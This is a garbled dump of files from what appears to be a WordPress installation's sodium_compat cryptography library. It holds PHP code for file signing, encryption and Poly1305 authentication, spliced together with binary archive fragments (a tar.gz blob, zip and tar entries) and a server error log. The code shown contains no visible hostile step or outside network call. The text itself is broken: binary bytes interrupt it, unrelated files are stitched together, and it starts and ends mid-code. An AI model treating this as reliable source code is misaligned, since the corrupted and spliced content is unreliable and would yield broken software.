$iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $ciphertext = fread($ifp, $blockSize); if (!is_string($ciphertext)) { throw new SodiumException('Could not read input file'); } $state->update($ciphertext); $mlen -= $blockSize; $iter += $incr; } $res = ParagonIE_Sodium_Core_Util::verify_16($tag, $state->finish()); fseek($ifp, $pos, SEEK_SET); return $res; } /** * Update a hash context with the contents of a file, without * loading the entire file into memory. * * @param resource|HashContext $hash * @param resource $fp * @param int $size * @return resource|object Resource on PHP < 7.2, HashContext object on PHP >= 7.2 * @throws SodiumException * @throws TypeError * @psalm-suppress PossiblyInvalidArgument * PHP 7.2 changes from a resource to an object, * which causes Psalm to complain about an error. * @psalm-suppress TypeCoercion * Ditto. */ public static function updateHashWithFile($hash, $fp, $size = 0) { /* Type checks: */ if (PHP_VERSION_ID < 70200) { if (!is_resource($hash)) { throw new TypeError('Argument 1 must be a resource, ' . gettype($hash) . ' given.'); } } else { if (!is_object($hash)) { throw new TypeError('Argument 1 must be an object (PHP 7.2+), ' . gettype($hash) . ' given.'); } } if (!is_resource($fp)) { throw new TypeError('Argument 2 must be a resource, ' . gettype($fp) . ' given.'); } if (!is_int($size)) { throw new TypeError('Argument 3 must be an integer, ' . gettype($size) . ' given.'); } /** @var int $originalPosition */ $originalPosition = self::ftell($fp); // Move file pointer to beginning of file fseek($fp, 0, SEEK_SET); for ($i = 0; $i < $size; $i += self::BUFFER_SIZE) { /** @var string|bool $message */ $message = fread( $fp, ($size - $i) > self::BUFFER_SIZE ? $size - $i : self::BUFFER_SIZE ); if (!is_string($message)) { throw new SodiumException('Unexpected error reading from file.'); } /** @var string $message */ /** @psalm-suppress InvalidArgument */ self::hash_update($hash, $message); } // Reset file pointer's position fseek($fp, $originalPosition, SEEK_SET); return $hash; } /** * Sign a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces * the same result. (32-bit) * * @param string $filePath Absolute path to a file on the filesystem * @param string $secretKey Secret signing key * * @return string Ed25519 signature * @throws SodiumException * @throws TypeError */ private static function sign_core32($filePath, $secretKey) { $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } /** @var string $az */ $az = hash('sha512', self::substr($secretKey, 0, 32), true); $az[0] = self::intToChr(self::chrToInt($az[0]) & 248); $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($az, 32, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); $nonceHash = hash_final($hs, true); $pk = self::substr($secretKey, 32, 32); $nonce = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32); $sig = ParagonIE_Sodium_Core32_Ed25519::ge_p3_tobytes( ParagonIE_Sodium_Core32_Ed25519::ge_scalarmult_base($nonce) ); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($sig, 0, 32)); self::hash_update($hs, self::substr($pk, 0, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); $hramHash = hash_final($hs, true); $hram = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hramHash); $sigAfter = ParagonIE_Sodium_Core32_Ed25519::sc_muladd($hram, $az, $nonce); /** @var string $sig */ $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32); try { ParagonIE_Sodium_Compat::memzero($az); } catch (SodiumException $ex) { $az = null; } fclose($fp); return $sig; } /** * * Verify a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but * produces the same result. (32-bit) * * @param string $sig Ed25519 signature * @param string $filePath Absolute path to a file on the filesystem * @param string $publicKey Signing public key * * @return bool * @throws SodiumException * @throws Exception */ public static function verify_core32($sig, $filePath, $publicKey) { /* Security checks */ if (ParagonIE_Sodium_Core32_Ed25519::check_S_lt_L(self::substr($sig, 32, 32))) { throw new SodiumException('S < L - Invalid signature'); } if (ParagonIE_Sodium_Core32_Ed25519::small_order($sig)) { throw new SodiumException('Signature is on too small of an order'); } if ((self::chrToInt($sig[63]) & 224) !== 0) { throw new SodiumException('Invalid signature'); } $d = 0; for ($i = 0; $i < 32; ++$i) { $d |= self::chrToInt($publicKey[$i]); } if ($d === 0) { throw new SodiumException('All zero public key'); } /** @var int|bool $size */ $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var int $size */ /** @var resource|bool $fp */ $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } /** @var resource $fp */ /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */ $orig = ParagonIE_Sodium_Compat::$fastMult; // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification. ParagonIE_Sodium_Compat::$fastMult = true; /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A */ $A = ParagonIE_Sodium_Core32_Ed25519::ge_frombytes_negate_vartime($publicKey); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($sig, 0, 32)); self::hash_update($hs, self::substr($publicKey, 0, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); /** @var string $hDigest */ $hDigest = hash_final($hs, true); /** @var string $h */ $h = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32); /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $R */ $R = ParagonIE_Sodium_Core32_Ed25519::ge_double_scalarmult_vartime( $h, $A, self::substr($sig, 32) ); /** @var string $rcheck */ $rcheck = ParagonIE_Sodium_Core32_Ed25519::ge_tobytes($R); // Close the file handle fclose($fp); // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before. ParagonIE_Sodium_Compat::$fastMult = $orig; return self::verify_32($rcheck, self::substr($sig, 0, 32)); } /** * Encrypt a file (32-bit) * * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ protected static function secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key) { $plaintext = fread($ifp, 32); if (!is_string($plaintext)) { throw new SodiumException('Could not read input file'); } $first32 = self::ftell($ifp); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key); /** @var string $realNonce */ $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen0 = $mlen; if ($mlen0 > 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) { $mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor( $block0, $realNonce, $subkey ); $state = new ParagonIE_Sodium_Core32_Poly1305_State( ParagonIE_Sodium_Core32_Util::substr( $block0, 0, ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES ) ); // Pre-write 16 blank bytes for the Poly1305 tag $start = self::ftell($ofp); fwrite($ofp, str_repeat("\x00", 16)); /** @var string $c */ $cBlock = ParagonIE_Sodium_Core32_Util::substr( $block0, ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES ); $state->update($cBlock); fwrite($ofp, $cBlock); $mlen -= 32; /** @var int $iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; /* * Set the cursor to the end of the first half-block. All future bytes will * generated from salsa20_xor_ic, starting from 1 (second block). */ fseek($ifp, $first32, SEEK_SET); while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $plaintext = fread($ifp, $blockSize); if (!is_string($plaintext)) { throw new SodiumException('Could not read input file'); } $cBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic( $plaintext, $realNonce, $iter, $subkey ); fwrite($ofp, $cBlock, $blockSize); $state->update($cBlock); $mlen -= $blockSize; $iter += $incr; } try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $end = self::ftell($ofp); /* * Write the Poly1305 authentication tag that provides integrity * over the ciphertext (encrypt-then-MAC) */ fseek($ofp, $start, SEEK_SET); fwrite($ofp, $state->finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES); fseek($ofp, $end, SEEK_SET); unset($state); return true; } /** * Decrypt a file (32-bit) * * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ protected static function secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key) { $tag = fread($ifp, 16); if (!is_string($tag)) { throw new SodiumException('Could not read input file'); } /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key); /** @var string $realNonce */ $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20( 64, ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), $subkey ); /* Verify the Poly1305 MAC -before- attempting to decrypt! */ $state = new ParagonIE_Sodium_Core32_Poly1305_State(self::substr($block0, 0, 32)); if (!self::onetimeauth_verify_core32($state, $ifp, $tag, $mlen)) { throw new SodiumException('Invalid MAC'); } /* * Set the cursor to the end of the first half-block. All future bytes will * generated from salsa20_xor_ic, starting from 1 (second block). */ $first32 = fread($ifp, 32); if (!is_string($first32)) { throw new SodiumException('Could not read input file'); } $first32len = self::strlen($first32); fwrite( $ofp, self::xorStrings( self::substr($block0, 32, $first32len), self::substr($first32, 0, $first32len) ) ); $mlen -= 32; /** @var int $iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; /* Decrypts ciphertext, writes to output file. */ while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $ciphertext = fread($ifp, $blockSize); if (!is_string($ciphertext)) { throw new SodiumException('Could not read input file'); } $pBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic( $ciphertext, $realNonce, $iter, $subkey ); fwrite($ofp, $pBlock, $blockSize); $mlen -= $blockSize; $iter += $incr; } return true; } /** * One-time message authentication for 32-bit systems * * @param ParagonIE_Sodium_Core32_Poly1305_State $state * @param resource $ifp * @param string $tag * @param int $mlen * @return bool * @throws SodiumException * @throws TypeError */ protected static function onetimeauth_verify_core32( ParagonIE_Sodium_Core32_Poly1305_State $state, $ifp, $tag = '', $mlen = 0 ) { /** @var int $pos */ $pos = self::ftell($ifp); while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $ciphertext = fread($ifp, $blockSize); if (!is_string($ciphertext)) { throw new SodiumException('Could not read input file'); } $state->update($ciphertext); $mlen -= $blockSize; } $res = ParagonIE_Sodium_Core32_Util::verify_16($tag, $state->finish()); fseek($ifp, $pos, SEEK_SET); return $res; } /** * @param resource $resource * @return int * @throws SodiumException */ private static function ftell($resource) { $return = ftell($resource); if (!is_int($return)) { throw new SodiumException('ftell() returned false'); } return (int) $return; } } PK(L[iv,ova/Base64.tar.gznu[ZYS8g~E/EM#v ̑MR;3KQ(5foKs̵#=[K`tnd8yj6Txٴ4uoYW(զad[㗸 [;ޜ}w:ycj^r 1?yauYПDznڑ@׋H0 ܐ{b&G)7U}ڄ?Cێ {~?n g7l}{W5Kgo߻g]M]E6N\/# g<$ͫWJU^\o^M~ a-l3 H4 xh . w2\YpL='rqf_;D  ~wN Q0%#F!І qsQIe7 QX` uc猦ՙ_~t?"~aƹ0m޹oIXv4C?ⰺ!Z:"O`#`6g$?#0ฝh]m0)+cëvv]rSC$xo·z]ۭдsJ\ 1=rWu~PA}>h`v-^;I#ǯƍzZtrzڀ%d xĥ@QFр`Ш =SJ2[Dɘ{) !<&Ԡ܅ al?ƃ%n8U_ x*;O "#(xU̱:JQD'"? vy[ȡ p_?%f*brN>aY `G>zgK{` }q'zFgwKSr!B{4VdKHm/^M>˒XAʓܡ @ O2?2W"Pϙ*/Wq/HW5Y یՄm*hf2G޾e/ȵ?zbxG~'QxMw[FEV֢"Z[sZ,KlVKdVK2Kd2lY,Sl"F2r;s+,D#TJ˨Reh2*4DRӚ)M.eG)w rX 4O}w0Rf#&isǁ`0Y9l=ts3ߗ0CMBmCi9- bj--TU[hHUTA5G0-yaDyEYw L_YO_ֲ}.po]}hjd7h` e凬CV~ʏlY!+?d凬&+?d凬CV~Y!+?rO_[֬yd,X$K?V(-[aK?K?%K?tq!K?d釰'(~Tɖ~k~C6dgneHPK(L["ova/Poly1305.zipnu[PKZ[ډPpp State.phpnu[ */ protected $buffer = array(); /** * @var bool */ protected $final = false; /** * @var array */ public $h; /** * @var int */ protected $leftover = 0; /** * @var int[] */ public $r; /** * @var int[] */ public $pad; /** * ParagonIE_Sodium_Core_Poly1305_State constructor. * * @internal You should not use this directly from another application * * @param string $key * @throws InvalidArgumentException * @throws TypeError */ public function __construct($key = '') { if (self::strlen($key) < 32) { throw new InvalidArgumentException( 'Poly1305 requires a 32-byte key' ); } /* r &= 0xffffffc0ffffffc0ffffffc0fffffff */ $this->r = array( (int) ((self::load_4(self::substr($key, 0, 4))) & 0x3ffffff), (int) ((self::load_4(self::substr($key, 3, 4)) >> 2) & 0x3ffff03), (int) ((self::load_4(self::substr($key, 6, 4)) >> 4) & 0x3ffc0ff), (int) ((self::load_4(self::substr($key, 9, 4)) >> 6) & 0x3f03fff), (int) ((self::load_4(self::substr($key, 12, 4)) >> 8) & 0x00fffff) ); /* h = 0 */ $this->h = array(0, 0, 0, 0, 0); /* save pad for later */ $this->pad = array( self::load_4(self::substr($key, 16, 4)), self::load_4(self::substr($key, 20, 4)), self::load_4(self::substr($key, 24, 4)), self::load_4(self::substr($key, 28, 4)), ); $this->leftover = 0; $this->final = false; } /** * Zero internal buffer upon destruction */ public function __destruct() { $this->r[0] ^= $this->r[0]; $this->r[1] ^= $this->r[1]; $this->r[2] ^= $this->r[2]; $this->r[3] ^= $this->r[3]; $this->r[4] ^= $this->r[4]; $this->h[0] ^= $this->h[0]; $this->h[1] ^= $this->h[1]; $this->h[2] ^= $this->h[2]; $this->h[3] ^= $this->h[3]; $this->h[4] ^= $this->h[4]; $this->pad[0] ^= $this->pad[0]; $this->pad[1] ^= $this->pad[1]; $this->pad[2] ^= $this->pad[2]; $this->pad[3] ^= $this->pad[3]; $this->leftover = 0; $this->final = true; } /** * @internal You should not use this directly from another application * * @param string $message * @return self * @throws SodiumException * @throws TypeError */ public function update($message = '') { $bytes = self::strlen($message); if ($bytes < 1) { return $this; } /* handle leftover */ if ($this->leftover) { $want = ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE - $this->leftover; if ($want > $bytes) { $want = $bytes; } for ($i = 0; $i < $want; ++$i) { $mi = self::chrToInt($message[$i]); $this->buffer[$this->leftover + $i] = $mi; } // We snip off the leftmost bytes. $message = self::substr($message, $want); $bytes = self::strlen($message); $this->leftover += $want; if ($this->leftover < ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { // We still don't have enough to run $this->blocks() return $this; } $this->blocks( self::intArrayToString($this->buffer), ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE ); $this->leftover = 0; } /* process full blocks */ if ($bytes >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { /** @var int $want */ $want = $bytes & ~(ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE - 1); if ($want >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { $block = self::substr($message, 0, $want); if (self::strlen($block) >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { $this->blocks($block, $want); $message = self::substr($message, $want); $bytes = self::strlen($message); } } } /* store leftover */ if ($bytes) { for ($i = 0; $i < $bytes; ++$i) { $mi = self::chrToInt($message[$i]); $this->buffer[$this->leftover + $i] = $mi; } $this->leftover = (int) $this->leftover + $bytes; } return $this; } /** * @internal You should not use this directly from another application * * @param string $message * @param int $bytes * @return self * @throws TypeError */ public function blocks($message, $bytes) { if (self::strlen($message) < 16) { $message = str_pad($message, 16, "\x00", STR_PAD_RIGHT); } /** @var int $hibit */ $hibit = $this->final ? 0 : 1 << 24; /* 1 << 128 */ $r0 = (int) $this->r[0]; $r1 = (int) $this->r[1]; $r2 = (int) $this->r[2]; $r3 = (int) $this->r[3]; $r4 = (int) $this->r[4]; $s1 = self::mul($r1, 5, 3); $s2 = self::mul($r2, 5, 3); $s3 = self::mul($r3, 5, 3); $s4 = self::mul($r4, 5, 3); $h0 = $this->h[0]; $h1 = $this->h[1]; $h2 = $this->h[2]; $h3 = $this->h[3]; $h4 = $this->h[4]; while ($bytes >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { /* h += m[i] */ $h0 += self::load_4(self::substr($message, 0, 4)) & 0x3ffffff; $h1 += (self::load_4(self::substr($message, 3, 4)) >> 2) & 0x3ffffff; $h2 += (self::load_4(self::substr($message, 6, 4)) >> 4) & 0x3ffffff; $h3 += (self::load_4(self::substr($message, 9, 4)) >> 6) & 0x3ffffff; $h4 += (self::load_4(self::substr($message, 12, 4)) >> 8) | $hibit; /* h *= r */ $d0 = ( self::mul($h0, $r0, 27) + self::mul($s4, $h1, 27) + self::mul($s3, $h2, 27) + self::mul($s2, $h3, 27) + self::mul($s1, $h4, 27) ); $d1 = ( self::mul($h0, $r1, 27) + self::mul($h1, $r0, 27) + self::mul($s4, $h2, 27) + self::mul($s3, $h3, 27) + self::mul($s2, $h4, 27) ); $d2 = ( self::mul($h0, $r2, 27) + self::mul($h1, $r1, 27) + self::mul($h2, $r0, 27) + self::mul($s4, $h3, 27) + self::mul($s3, $h4, 27) ); $d3 = ( self::mul($h0, $r3, 27) + self::mul($h1, $r2, 27) + self::mul($h2, $r1, 27) + self::mul($h3, $r0, 27) + self::mul($s4, $h4, 27) ); $d4 = ( self::mul($h0, $r4, 27) + self::mul($h1, $r3, 27) + self::mul($h2, $r2, 27) + self::mul($h3, $r1, 27) + self::mul($h4, $r0, 27) ); /* (partial) h %= p */ /** @var int $c */ $c = $d0 >> 26; /** @var int $h0 */ $h0 = $d0 & 0x3ffffff; $d1 += $c; /** @var int $c */ $c = $d1 >> 26; /** @var int $h1 */ $h1 = $d1 & 0x3ffffff; $d2 += $c; /** @var int $c */ $c = $d2 >> 26; /** @var int $h2 */ $h2 = $d2 & 0x3ffffff; $d3 += $c; /** @var int $c */ $c = $d3 >> 26; /** @var int $h3 */ $h3 = $d3 & 0x3ffffff; $d4 += $c; /** @var int $c */ $c = $d4 >> 26; /** @var int $h4 */ $h4 = $d4 & 0x3ffffff; $h0 += (int) self::mul($c, 5, 3); /** @var int $c */ $c = $h0 >> 26; /** @var int $h0 */ $h0 &= 0x3ffffff; $h1 += $c; // Chop off the left 32 bytes. $message = self::substr( $message, ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE ); $bytes -= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE; } $this->h = array( (int) ($h0 & 0xffffffff), (int) ($h1 & 0xffffffff), (int) ($h2 & 0xffffffff), (int) ($h3 & 0xffffffff), (int) ($h4 & 0xffffffff) ); return $this; } /** * @internal You should not use this directly from another application * * @return string * @throws TypeError */ public function finish() { /* process the remaining block */ if ($this->leftover) { $i = $this->leftover; $this->buffer[$i++] = 1; for (; $i < ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE; ++$i) { $this->buffer[$i] = 0; } $this->final = true; $this->blocks( self::substr( self::intArrayToString($this->buffer), 0, ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE ), ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE ); } $h0 = (int) $this->h[0]; $h1 = (int) $this->h[1]; $h2 = (int) $this->h[2]; $h3 = (int) $this->h[3]; $h4 = (int) $this->h[4]; /** @var int $c */ $c = $h1 >> 26; /** @var int $h1 */ $h1 &= 0x3ffffff; /** @var int $h2 */ $h2 += $c; /** @var int $c */ $c = $h2 >> 26; /** @var int $h2 */ $h2 &= 0x3ffffff; $h3 += $c; /** @var int $c */ $c = $h3 >> 26; $h3 &= 0x3ffffff; $h4 += $c; /** @var int $c */ $c = $h4 >> 26; $h4 &= 0x3ffffff; /** @var int $h0 */ $h0 += self::mul($c, 5, 3); /** @var int $c */ $c = $h0 >> 26; /** @var int $h0 */ $h0 &= 0x3ffffff; /** @var int $h1 */ $h1 += $c; /* compute h + -p */ /** @var int $g0 */ $g0 = $h0 + 5; /** @var int $c */ $c = $g0 >> 26; /** @var int $g0 */ $g0 &= 0x3ffffff; /** @var int $g1 */ $g1 = $h1 + $c; /** @var int $c */ $c = $g1 >> 26; $g1 &= 0x3ffffff; /** @var int $g2 */ $g2 = $h2 + $c; /** @var int $c */ $c = $g2 >> 26; /** @var int $g2 */ $g2 &= 0x3ffffff; /** @var int $g3 */ $g3 = $h3 + $c; /** @var int $c */ $c = $g3 >> 26; /** @var int $g3 */ $g3 &= 0x3ffffff; /** @var int $g4 */ $g4 = ($h4 + $c - (1 << 26)) & 0xffffffff; /* select h if h < p, or h + -p if h >= p */ /** @var int $mask */ $mask = ($g4 >> 31) - 1; $g0 &= $mask; $g1 &= $mask; $g2 &= $mask; $g3 &= $mask; $g4 &= $mask; /** @var int $mask */ $mask = ~$mask & 0xffffffff; /** @var int $h0 */ $h0 = ($h0 & $mask) | $g0; /** @var int $h1 */ $h1 = ($h1 & $mask) | $g1; /** @var int $h2 */ $h2 = ($h2 & $mask) | $g2; /** @var int $h3 */ $h3 = ($h3 & $mask) | $g3; /** @var int $h4 */ $h4 = ($h4 & $mask) | $g4; /* h = h % (2^128) */ /** @var int $h0 */ $h0 = (($h0) | ($h1 << 26)) & 0xffffffff; /** @var int $h1 */ $h1 = (($h1 >> 6) | ($h2 << 20)) & 0xffffffff; /** @var int $h2 */ $h2 = (($h2 >> 12) | ($h3 << 14)) & 0xffffffff; /** @var int $h3 */ $h3 = (($h3 >> 18) | ($h4 << 8)) & 0xffffffff; /* mac = (h + pad) % (2^128) */ $f = (int) ($h0 + $this->pad[0]); $h0 = (int) $f; $f = (int) ($h1 + $this->pad[1] + ($f >> 32)); $h1 = (int) $f; $f = (int) ($h2 + $this->pad[2] + ($f >> 32)); $h2 = (int) $f; $f = (int) ($h3 + $this->pad[3] + ($f >> 32)); $h3 = (int) $f; return self::store32_le($h0 & 0xffffffff) . self::store32_le($h1 & 0xffffffff) . self::store32_le($h2 & 0xffffffff) . self::store32_le($h3 & 0xffffffff); } } error_log000064400000003174150545321600006467 0ustar00[18-May-2025 06:15:11 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10 [05-Jun-2025 01:11:57 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10 [21-Jun-2025 08:59:48 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10 [28-Jun-2025 09:12:51 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10 [11-Jul-2025 10:12:36 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10 PK(L[{ ova/lib.tarnu[namespaced.php000064400000002501150546316130007357 0ustar00getMessage() === 'AES-256-GCM is not available')) { throw $ex; } return false; } } } if (!is_callable('sodium_crypto_aead_aes256gcm_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_aes256gcm_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt($message, $additional_data, $nonce, $key); } } if (!is_callable('sodium_crypto_aead_aes256gcm_is_available')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available() * @return bool */ function sodium_crypto_aead_aes256gcm_is_available() { return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available(); } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_decrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt() * @param string $ciphertext * @param string $additional_data * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_aead_chacha20poly1305_decrypt( $ciphertext, $additional_data, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt( $ciphertext, $additional_data, $nonce, $key ); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_chacha20poly1305_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt( $message, $additional_data, $nonce, $key ); } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_keygen() * @return string * @throws Exception */ function sodium_crypto_aead_chacha20poly1305_keygen() { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_keygen(); } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_decrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_aead_chacha20poly1305_ietf_decrypt( $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt( $message, $additional_data, $nonce, $key ); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_chacha20poly1305_ietf_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt( $message, $additional_data, $nonce, $key ); } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_keygen() * @return string * @throws Exception */ function sodium_crypto_aead_chacha20poly1305_ietf_keygen() { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_keygen(); } } if (!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_decrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_decrypt() * @param string $ciphertext * @param string $additional_data * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $additional_data, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $additional_data, $nonce, $key, true ); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_xchacha20poly1305_ietf_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_encrypt( $message, $additional_data, $nonce, $key, true ); } } if 